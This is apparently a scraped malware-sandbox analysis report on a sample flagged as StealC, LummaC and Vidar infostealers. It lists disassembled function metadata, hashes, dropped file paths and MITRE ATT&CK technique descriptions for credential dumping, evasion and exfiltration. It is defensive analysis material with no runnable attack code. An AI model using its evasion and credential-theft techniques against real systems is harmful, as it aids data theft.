Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 4c0ba7a4f0a67496a9b9b5bf48d141da5cfb2e6878e71ad5e326afcdd0616f58
Instruction ID: 6e4eac1213c7e7b99f57ee7cad1c475fa08cb34760ce996f7a7361216ef76aca
Opcode Fuzzy Hash: 4c0ba7a4f0a67496a9b9b5bf48d141da5cfb2e6878e71ad5e326afcdd0616f58
Instruction Fuzzy Hash: 80112731E04689D7DF01DF69CC144EDB775EF86358B86925AEC499B602FB30A994C390

Function 6C576DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C576E22
__Init_thread_footer.LIBCMT ref: 6C576E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C576E1D

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 3c3587b39cf4dc9910c966cdaf7b66259f10eb007de7463856fdca737e6fa682
Instruction ID: cd5c14303ba28b5d2f0099c4d0c83aaa53d621d4121bd879248b4d8eb80ebe5c
Opcode Fuzzy Hash: 3c3587b39cf4dc9910c966cdaf7b66259f10eb007de7463856fdca737e6fa682
Instruction Fuzzy Hash: 10F024326043C0CBDE108F68CC50A923771D343318F2602E5EC0146B91CB60B946CAB7

Function 6C529E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C529EEF

Strings

Infinity, xrefs: 6C529EB7
NaN, xrefs: 6C529EC1

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 5c7bfdcdb5e872ecd8c3c810d5928855d2942bf75091c135f31c17efab47e169
Instruction ID: d2aa60e66829de3a402ea20933784b590f052c7dc1debbdd194229efdaea273d
Opcode Fuzzy Hash: 5c7bfdcdb5e872ecd8c3c810d5928855d2942bf75091c135f31c17efab47e169
Instruction Fuzzy Hash: 4DF03C717013C1CAEF008F18DD8579133B1E74731DF234B99E5040ABA0D7B565568A8A

Function 6C526C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KUl,?,6C554B30,80000000,?,6C554AB7,?,6C5143CF,?,6C5142D2), ref: 6C526C42

Part of subcall function 6C52CA10: malloc.MOZGLUE(?), ref: 6C52CA26

moz_xmalloc.MOZGLUE(0KUl,?,6C554B30,80000000,?,6C554AB7,?,6C5143CF,?,6C5142D2), ref: 6C526C58

Strings

0KUl, xrefs: 6C526C33, 6C526C41, 6C526C57

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KUl
API String ID: 1967447596-778617342
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: ef5adf9186000a688f74ee3bad7ae9d6788135e26380c60eb15c59e5a4412a32
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 09E086F1A107054AEB08E9799C0A56B71C8CB742A87044A35E822E6BC9FF5CE9508191

Function 6C52BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C52BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C52BEF5

Strings

cryptbase.dll, xrefs: 6C52BEF0

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: ac41a4177a81c9a08430682efe30e36d01e81e1e822963c08c98f4215dbe473b
Instruction ID: 91fe2795ef34d9aa730451486f46e9af452ed58a14c0add219651ae275b3c60f
Opcode Fuzzy Hash: ac41a4177a81c9a08430682efe30e36d01e81e1e822963c08c98f4215dbe473b
Instruction Fuzzy Hash: 41D022322C024CEBEB10BFA08C0AF2A3BFCA702325F11C020F71684991C7B1A810CF88

Function 6C56B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C56B2C9,?,?,?,6C56B127,?,?,?,?,?,?,?,?,?,6C56AE52), ref: 6C56B628

Part of subcall function 6C5690E0: free.MOZGLUE(?,00000000,?,?,6C56DEDB), ref: 6C5690FF
Part of subcall function 6C5690E0: free.MOZGLUE(?,00000000,?,?,6C56DEDB), ref: 6C569108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C56B2C9,?,?,?,6C56B127,?,?,?,?,?,?,?,?,?,6C56AE52), ref: 6C56B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C56B2C9,?,?,?,6C56B127,?,?,?,?,?,?,?,?,?,6C56AE52), ref: 6C56B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C56B127,?,?,?,?,?,?,?,?), ref: 6C56B74D

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 1fe3962c90aaa6a99b3602c016c47a847435a732165ebe89e4aade5d84228f1b
Instruction ID: 647b02f776cea22bd35be21e6dac7fa81aa6cf79695601356aed14d8626dd42a
Opcode Fuzzy Hash: 1fe3962c90aaa6a99b3602c016c47a847435a732165ebe89e4aade5d84228f1b
Instruction Fuzzy Hash: E751F371A052158FDB14DF1ACD8475EF7B5FF45304F06852DE85AABB20EB31A804CBA1

Function 6C566E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C566EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C566EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C566F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C566F5C

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 118487cc7f970b05e6e6208b4e94a7d38fdc5187eb5addaec2cbac7952fada4d
Instruction ID: f5f6a5814a8278fc03a01d9a35003fb5be58df5bff996352c2dcce69691dc144
Opcode Fuzzy Hash: 118487cc7f970b05e6e6208b4e94a7d38fdc5187eb5addaec2cbac7952fada4d
Instruction Fuzzy Hash: D6312671A1060A8FDB04CF2DCC806AEB3E9EB94304F51463DD41AC7A65EF31EA59C790

Function 6C57B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C520A4D), ref: 6C57B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C520A4D), ref: 6C57B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C520A4D), ref: 6C57B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C520A4D), ref: 6C57B67F

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 636da7e7df0899ea9d681190c61f61fe76ee099b492319aac339d576909a575f
Instruction ID: a69d9823282cceda6c6ac5a9938b3bb76c4f6a6e84c349c5e11da5d3e5174bdf
Opcode Fuzzy Hash: 636da7e7df0899ea9d681190c61f61fe76ee099b492319aac339d576909a575f
Instruction Fuzzy Hash: EC31D471A012168FDB20EF58CC4865ABBB6FF81304F178A69C9069B301EB31E955CBA1

Function 6C54F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C54F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C54F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C54F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C54F668

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: a67bc118e6d480c6df59aa6d03f4fc0eb8bdc3d0cf2e7b36296995fc8b0ae7c1
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 3E313E71A00214AFC714DF5DCCC4A9E77B5EBC4358B14CA39EA498BB05D731F9458B90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CFHIIEHJKKEC\IDHDGD

C:\ProgramData\CGCFCFBKFCFCBGDGIEGHJDAFHJ

C:\ProgramData\DAKEBAKFHCFHIEBFBAFB

C:\ProgramData\DBGIJEHIID.exe

C:\ProgramData\EBFBKFBGIIIDGDGCFCGIIDAKFC

C:\ProgramData\EGDGCGCFHI.exe

C:\ProgramData\FIJKEHJJDAAK\AEBGHD

C:\ProgramData\FIJKEHJJDAAK\BGDAAE

C:\ProgramData\FIJKEHJJDAAK\CAKKEG

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre